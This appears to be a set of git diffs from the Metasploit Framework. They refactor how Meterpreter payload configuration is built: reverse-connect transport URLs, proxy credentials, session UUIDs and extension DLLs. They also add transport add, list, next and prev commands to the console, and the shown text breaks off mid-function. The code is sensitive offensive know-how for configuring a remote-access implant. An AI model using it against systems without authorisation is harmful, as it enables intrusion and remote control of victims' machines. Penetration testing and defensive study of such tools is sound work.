require 'rex/payloads/meterpreter/patch'
|
|
@ -0,0 +1,155 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/payload/uuid'
|
||||
require 'msf/core/payload/windows'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
class Rex::Payloads::Meterpreter::Config
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
UUID_SIZE = 64
|
||||
URL_SIZE = 512
|
||||
UA_SIZE = 256
|
||||
PROXY_HOST_SIZE = 128
|
||||
PROXY_USER_SIZE = 64
|
||||
PROXY_PASS_SIZE = 64
|
||||
CERT_HASH_SIZE = 20
|
||||
|
||||
def initialize(opts={})
|
||||
@opts = opts
|
||||
if opts[:ascii_str] && opts[:ascii_str] == true
|
||||
@to_str = self.method(:to_ascii)
|
||||
else
|
||||
@to_str = self.method(:to_wchar_t)
|
||||
end
|
||||
end
|
||||
|
||||
def to_b
|
||||
config_block
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def is_x86?
|
||||
@opts[:arch] == ARCH_X86
|
||||
end
|
||||
|
||||
def to_str(item, size)
|
||||
@to_str.call(item, size)
|
||||
end
|
||||
|
||||
def to_wchar_t(item, size)
|
||||
to_ascii(item, size).unpack("C*").pack("v*")
|
||||
end
|
||||
|
||||
def to_ascii(item, size)
|
||||
item.to_s.ljust(size, "\x00")
|
||||
end
|
||||
|
||||
def session_block(opts)
|
||||
uuid = to_str(opts[:uuid].to_raw, UUID_SIZE)
|
||||
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
||||
|
||||
session_data = [
|
||||
0, # comms socket, patched in by the stager
|
||||
exit_func, # exit function identifer
|
||||
opts[:expiration], # Session expiry
|
||||
uuid # the UUID
|
||||
]
|
||||
|
||||
session_data.pack("VVVA*")
|
||||
end
|
||||
|
||||
def transport_block(opts)
|
||||
# Build the URL from the given parameters, and pad it out to the
|
||||
# correct size
|
||||
lhost = opts[:lhost]
|
||||
if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
|
||||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
|
||||
url << "#{opts[:uri]}/" if opts[:uri]
|
||||
url << "?#{opts[:scope_id]}" if opts[:scope_id]
|
||||
|
||||
# if the transport URI is for a HTTP payload we need to add a stack
|
||||
# of other stuff
|
||||
pack = 'A*VVV'
|
||||
transport_data = [
|
||||
to_str(url, URL_SIZE), # transport URL
|
||||
opts[:comm_timeout], # communications timeout
|
||||
opts[:retry_total], # retry total time
|
||||
opts[:retry_wait] # retry wait time
|
||||
]
|
||||
|
||||
if url.start_with?('http')
|
||||
proxy_host = ''
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type].downcase == 'socks'
|
||||
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
end
|
||||
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
|
||||
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
||||
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
||||
ua = to_str(opts[:ua] || '', UA_SIZE)
|
||||
|
||||
cert_hash = "\x00" * CERT_HASH_SIZE
|
||||
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
||||
|
||||
# add the HTTP specific stuff
|
||||
transport_data << proxy_host # Proxy host name
|
||||
transport_data << proxy_user # Proxy user name
|
||||
transport_data << proxy_pass # Proxy password
|
||||
transport_data << ua # HTTP user agent
|
||||
transport_data << cert_hash # SSL cert hash for verification
|
||||
|
||||
# update the packing spec
|
||||
pack << 'A*A*A*A*A*'
|
||||
end
|
||||
|
||||
# return the packed transport information
|
||||
transport_data.pack(pack)
|
||||
end
|
||||
|
||||
def extension_block(ext_name, file_extension)
|
||||
ext_name = ext_name.strip.downcase
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
|
||||
file_extension))
|
||||
|
||||
extension_data = [ ext.length, ext ].pack("VA*")
|
||||
end
|
||||
|
||||
def config_block
|
||||
# start with the session information
|
||||
config = session_block(@opts)
|
||||
|
||||
# then load up the transport configurations
|
||||
(@opts[:transports] || []).each do |t|
|
||||
config << transport_block(t)
|
||||
end
|
||||
|
||||
# terminate the transports with NULL (wchar)
|
||||
config << "\x00\x00"
|
||||
|
||||
# configure the extensions - this will have to change when posix comes
|
||||
# into play.
|
||||
file_extension = 'x86.dll'
|
||||
file_extension = 'x64.dll' unless is_x86?
|
||||
|
||||
(@opts[:extensions] || []).each do |e|
|
||||
config << extension_block(e, file_extension)
|
||||
end
|
||||
|
||||
# terminate the extensions with a 0 size
|
||||
if is_x86?
|
||||
config << [0].pack("V")
|
||||
else
|
||||
config << [0].pack("Q")
|
||||
end
|
||||
|
||||
# and we're done
|
||||
config
|
||||
end
|
||||
end
|
|
@ -1,166 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Payloads
|
||||
module Meterpreter
|
||||
###
|
||||
#
|
||||
# Provides methods to patch options into metsrv stagers
|
||||
#
|
||||
###
|
||||
module Patch
|
||||
|
||||
#
|
||||
# Replace the transport string
|
||||
#
|
||||
def self.patch_transport!(blob, ssl)
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the URL
|
||||
#
|
||||
def self.patch_url!(blob, url)
|
||||
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
patch_string!(blob, "https://#{'X' * 256}", url)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the timeout data with the actual timeout values.
|
||||
#
|
||||
def self.patch_timeouts!(blob, opts)
|
||||
i = blob.index("METERP_TIMEOUTS\x00")
|
||||
if i
|
||||
data = [opts[:expiration].to_i, opts[:comm_timeout].to_i,
|
||||
opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV")
|
||||
blob[i, data.length] = data
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the user agent string with our option
|
||||
#
|
||||
def self.patch_ua!(blob, ua)
|
||||
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||
end
|
||||
|
||||
#
|
||||
# Activate a custom proxy
|
||||
#
|
||||
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||
|
||||
if proxyhost && proxyhost.to_s != ""
|
||||
proxyhost = proxyhost.to_s
|
||||
proxyport = proxyport.to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if proxy_type.to_s.upcase == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Proxy authentification
|
||||
#
|
||||
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||
|
||||
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
|
||||
|
||||
if proxy_username && !proxy_username.empty?
|
||||
unless patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
|
||||
proxy_username + "\x00")
|
||||
raise ArgumentError, "Unable to patch Proxy Username"
|
||||
end
|
||||
end
|
||||
|
||||
if proxy_password && !proxy_password.empty?
|
||||
unless patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
|
||||
proxy_password + "\x00")
|
||||
raise ArgumentError, "Unable to patch Proxy Password"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch the ssl cert hash
|
||||
#
|
||||
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||
# SSL cert location is an ASCII string, so no need for
|
||||
# WCHAR support
|
||||
if ssl_cert_hash
|
||||
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
|
||||
if i
|
||||
blob[i, ssl_cert_hash.length] = ssl_cert_hash
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
#
|
||||
def self.patch_passive_service!(blob, opts)
|
||||
|
||||
patch_transport!(blob, opts[:ssl])
|
||||
patch_url!(blob, opts[:url])
|
||||
patch_timeouts!(blob, opts)
|
||||
patch_ua!(blob, opts[:ua])
|
||||
patch_ssl_check!(blob, opts[:ssl_cert_hash])
|
||||
patch_proxy!(blob,
|
||||
opts[:proxy_host],
|
||||
opts[:proxy_port],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
patch_proxy_auth!(blob,
|
||||
opts[:proxy_user],
|
||||
opts[:proxy_pass],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
|
||||
#
|
||||
def self.patch_string!(blob, search, replacement)
|
||||
result = false
|
||||
|
||||
i = blob.index(search)
|
||||
if i
|
||||
blob[i, replacement.length] = replacement
|
||||
result = true
|
||||
else
|
||||
i = blob.index(wchar(search))
|
||||
if i
|
||||
r = wchar(replacement)
|
||||
blob[i, r.length] = r
|
||||
result = true
|
||||
end
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Convert the given ASCII string into a WCHAR string (dumb, but works)
|
||||
#
|
||||
def self.wchar(str)
|
||||
str.to_s.unpack("C*").pack("v*")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -8,9 +8,6 @@ require 'rex/post/meterpreter/client'
|
|||
# argument for moving the meterpreter client into the Msf namespace.
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
# Provides methods to patch options into the metsrv stager.
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
# URI uuid and checksum stuff
|
||||
require 'msf/core/payload/uuid'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
@ -100,6 +97,32 @@ class ClientCore < Extension
|
|||
commands
|
||||
end
|
||||
|
||||
def transport_list
|
||||
request = Packet.create_request('core_transport_list')
|
||||
response = client.send_request(request)
|
||||
|
||||
result = {
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
||||
:transports => []
|
||||
}
|
||||
|
||||
response.each(TLV_TYPE_TRANS_GROUP) { |t|
|
||||
result[:transports] << {
|
||||
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
|
||||
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
||||
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
||||
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
|
||||
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
|
||||
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
|
||||
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
|
||||
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
|
||||
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def set_transport_timeouts(opts={})
|
||||
request = Packet.create_request('core_transport_set_timeouts')
|
||||
|
||||
|
@ -273,6 +296,18 @@ class ClientCore < Extension
|
|||
return true
|
||||
end
|
||||
|
||||
def uuid(timeout=nil)
|
||||
request = Packet.create_request('core_uuid')
|
||||
|
||||
args = [ request ]
|
||||
args << timeout if timeout
|
||||
response = client.send_request(*args)
|
||||
|
||||
id = response.get_tlv_value(TLV_TYPE_UUID)
|
||||
|
||||
return Msf::Payload::UUID.new({:raw => id})
|
||||
end
|
||||
|
||||
def machine_id(timeout=nil)
|
||||
request = Packet.create_request('core_machine_id')
|
||||
|
||||
|
@ -285,83 +320,34 @@ class ClientCore < Extension
|
|||
return Rex::Text.md5(mid)
|
||||
end
|
||||
|
||||
def transport_add(opts={})
|
||||
request = transport_prepare_request('core_transport_add', opts)
|
||||
|
||||
return false unless request
|
||||
|
||||
client.send_request(request)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def transport_change(opts={})
|
||||
request = transport_prepare_request('core_transport_change', opts)
|
||||
|
||||
unless valid_transport?(opts[:transport]) && opts[:lport]
|
||||
return false
|
||||
end
|
||||
return false unless request
|
||||
|
||||
if opts[:transport].starts_with?('reverse')
|
||||
return false unless opts[:lhost]
|
||||
else
|
||||
# Bind shouldn't have lhost set
|
||||
opts[:lhost] = nil
|
||||
end
|
||||
client.send_request(request)
|
||||
|
||||
transport = VALID_TRANSPORTS[opts[:transport]]
|
||||
return true
|
||||
end
|
||||
|
||||
request = Packet.create_request('core_transport_change')
|
||||
|
||||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
# do more magic work for http(s) payloads
|
||||
unless opts[:transport].ends_with?('tcp')
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
uuid = client.payload_uuid
|
||||
unless uuid
|
||||
arch, plat = client.platform.split('/')
|
||||
uuid = Msf::Payload::UUID.new({
|
||||
arch: arch,
|
||||
platform: plat.starts_with?('win') ? 'windows' : plat
|
||||
})
|
||||
end
|
||||
url << generate_uri_uuid(sum, uuid) + '/'
|
||||
|
||||
# TODO: randomise if not specified?
|
||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||
|
||||
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||
end
|
||||
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type] == 'socks'
|
||||
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy)
|
||||
|
||||
if opts[:proxy_user]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
|
||||
end
|
||||
if opts[:proxy_pass]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
||||
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
||||
def transport_next
|
||||
request = Packet.create_request('core_transport_next')
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
def transport_prev
|
||||
request = Packet.create_request('core_transport_prev')
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
@ -599,11 +585,87 @@ class ClientCore < Extension
|
|||
# Indicates if the given transport is a valid transport option.
|
||||
#
|
||||
def valid_transport?(transport)
|
||||
VALID_TRANSPORTS.has_key?(transport.downcase)
|
||||
if transport
|
||||
VALID_TRANSPORTS.has_key?(transport.downcase)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def transport_prepare_request(method, opts={})
|
||||
unless valid_transport?(opts[:transport]) && opts[:lport]
|
||||
return nil
|
||||
end
|
||||
|
||||
if opts[:transport].starts_with?('reverse')
|
||||
return false unless opts[:lhost]
|
||||
else
|
||||
# Bind shouldn't have lhost set
|
||||
opts[:lhost] = nil
|
||||
end
|
||||
|
||||
transport = VALID_TRANSPORTS[opts[:transport]]
|
||||
|
||||
request = Packet.create_request(method)
|
||||
|
||||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
# do more magic work for http(s) payloads
|
||||
unless opts[:transport].ends_with?('tcp')
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
|
||||
|
||||
# TODO: randomise if not specified?
|
||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||
|
||||
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||
end
|
||||
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type] == 'socks'
|
||||
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
|
||||
|
||||
if opts[:proxy_user]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
|
||||
end
|
||||
if opts[:proxy_pass]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
||||
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
||||
|
||||
return request
|
||||
end
|
||||
|
||||
|
||||
def generate_payload_stub(process)
|
||||
case client.platform
|
||||
when /win/i
|
||||
|
@ -623,11 +685,9 @@ class ClientCore < Extension
|
|||
|
||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if process['arch'] == ARCH_X86
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||
binary_suffix = "x86.dll"
|
||||
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
|
||||
elsif process['arch'] == ARCH_X86_64
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||
binary_suffix = "x64.dll"
|
||||
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
|
||||
else
|
||||
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
|
||||
end
|
||||
|
@ -635,37 +695,7 @@ class ClientCore < Extension
|
|||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
|
||||
dll = MetasploitPayloads.meterpreter_path('metsrv', binary_suffix)
|
||||
if dll.nil?
|
||||
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
||||
end
|
||||
migrate_stager.datastore['DLL'] = dll
|
||||
|
||||
# Pass the timeout information to the RDI loader so that it correctly
|
||||
# patches the timeouts into the binary.
|
||||
migrate_stager.datastore['SessionExpirationTimeout'] = self.client.expiration
|
||||
migrate_stager.datastore['SessionCommunicationTimeout'] = self.client.comm_timeout
|
||||
migrate_stager.datastore['SessionRetryTotal'] = self.client.retry_total
|
||||
migrate_stager.datastore['SessionRetryWait'] = self.client.retry_wait
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
if client.passive_service
|
||||
# Patch options into metsrv for reverse HTTP payloads.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass'])
|
||||
end
|
||||
blob = migrate_stager.stage_meterpreter
|
||||
|
||||
blob
|
||||
end
|
||||
|
@ -673,12 +703,6 @@ class ClientCore < Extension
|
|||
def generate_linux_stub
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait)
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
|
|
|
@ -94,13 +94,15 @@ TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
|
|||
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
|
||||
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
|
||||
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
||||
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
TLV_TYPE_UUID = TLV_META_TYPE_STRING | 461
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
@ -199,12 +201,13 @@ class Tlv
|
|||
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
|
||||
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
|
||||
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
|
||||
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
|
||||
when TLV_TYPE_TRANS_PROXY_HOST; "TRANS-PROXY-HOST"
|
||||
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
|
||||
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
|
||||
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
|
||||
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
|
||||
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
|
||||
when TLV_TYPE_UUID; "UUID"
|
||||
|
||||
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
|
||||
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
|
||||
|
|
|
@ -77,7 +77,12 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
if client.platform =~ /win/ || client.platform =~ /linux/
|
||||
# Migration only supported on windows and linux
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
|
||||
# UUID functionality isn't yet available on other platforms
|
||||
c["uuid"] = "Get the UUID for the current session"
|
||||
|
||||
# Yet to implement transport hopping for other meterpreters.
|
||||
# Works for posix and native windows though.
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
|
@ -280,10 +285,6 @@ class Console::CommandDispatcher::Core
|
|||
# Disconnects the session
|
||||
#
|
||||
def cmd_detach(*args)
|
||||
if not client.passive_service
|
||||
print_error("Detach is only possible for non-stream sessions (http/https)")
|
||||
return
|
||||
end
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
end
|
||||
|
@ -382,17 +383,34 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
def print_timeouts(timeouts)
|
||||
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
|
||||
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
|
||||
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
|
||||
if timeouts[:session_exp]
|
||||
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
end
|
||||
if timeouts[:comm_timeout]
|
||||
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
|
||||
end
|
||||
if timeouts[:retry_total]
|
||||
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
|
||||
end
|
||||
if timeouts[:retry_wait]
|
||||
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Get the machine ID of the target
|
||||
#
|
||||
def cmd_machine_id(*args)
|
||||
print_good("Machine ID: #{client.core.machine_id}")
|
||||
client.machine_id = client.core.machine_id unless client.machine_id
|
||||
print_good("Machine ID: #{client.machine_id}")
|
||||
end
|
||||
|
||||
#
|
||||
# Get the machine ID of the target
|
||||
#
|
||||
def cmd_uuid(*args)
|
||||
client.payload_uuid = client.core.uuid unless client.payload_uuid
|
||||
print_good("UUID: #{client.payload_uuid}")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -494,20 +512,25 @@ class Console::CommandDispatcher::Core
|
|||
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
|
||||
'-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ],
|
||||
'-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ],
|
||||
'-v' => [ false, 'Show the verbose format of the transport list' ],
|
||||
'-h' => [ false, 'Help menu' ])
|
||||
|
||||
#
|
||||
# Display help for transport switching
|
||||
# Display help for transport management.
|
||||
#
|
||||
def cmd_transport_help
|
||||
print_line('Usage: transport [options]')
|
||||
print_line('Usage: transport <list|change|add|next|prev> [options]')
|
||||
print_line
|
||||
print_line('Change the current Meterpreter transport mechanism')
|
||||
print_line(' list: list the currently active transports.')
|
||||
print_line(' add: add a new transport to the transport list.')
|
||||
print_line(' change: same as add, but changes directly to the added entry.')
|
||||
print_line(' next: jump to the next transport in the list (no options).')
|
||||
print_line(' prev: jump to the previous transport in the list (no options).')
|
||||
print_line(@@transport_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Change the current transport setings.
|
||||
# Manage transports
|
||||
#
|
||||
def cmd_transport(*args)
|
||||
if ( args.length == 0 or args.include?("-h") )
|
||||
|
@ -515,7 +538,14 @@ class Console::CommandDispatcher::Core
|
|||
return
|
||||
end
|
||||
|
||||
command = args.shift
|
||||
unless ['list', 'add', 'change', 'prev', 'next'].include?(command)
|
||||
cmd_transport_help
|
||||
return
|
||||
end
|
||||
|
||||
opts = {
|
||||
:uuid => client.payload_uuid,
|
||||
:transport => nil,
|
||||
:lhost => nil,
|
||||
:lport => nil,
|
||||
|
@ -529,9 +559,11 @@ class Console::CommandDispatcher::Core
|
|||
:session_exp => nil,
|
||||
:retry_total => nil,
|
||||
:retry_wait => nil,
|
||||
:cert => nil
|
||||
:cert => nil,
|
||||
:verbose => false
|
||||
}
|
||||
|
||||
valid = true
|
||||
@@transport_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-c'
|
||||
|
@ -560,21 +592,104 @@ class Console::CommandDispatcher::Core
|
|||
opts[:lport] = val.to_i if val
|
||||
when '-l'
|
||||
opts[:lhost] = val
|
||||
when '-v'
|
||||
opts[:verbose] = true
|
||||
when '-t'
|
||||
unless client.core.valid_transport?(val)
|
||||
cmd_transport_help
|
||||
return
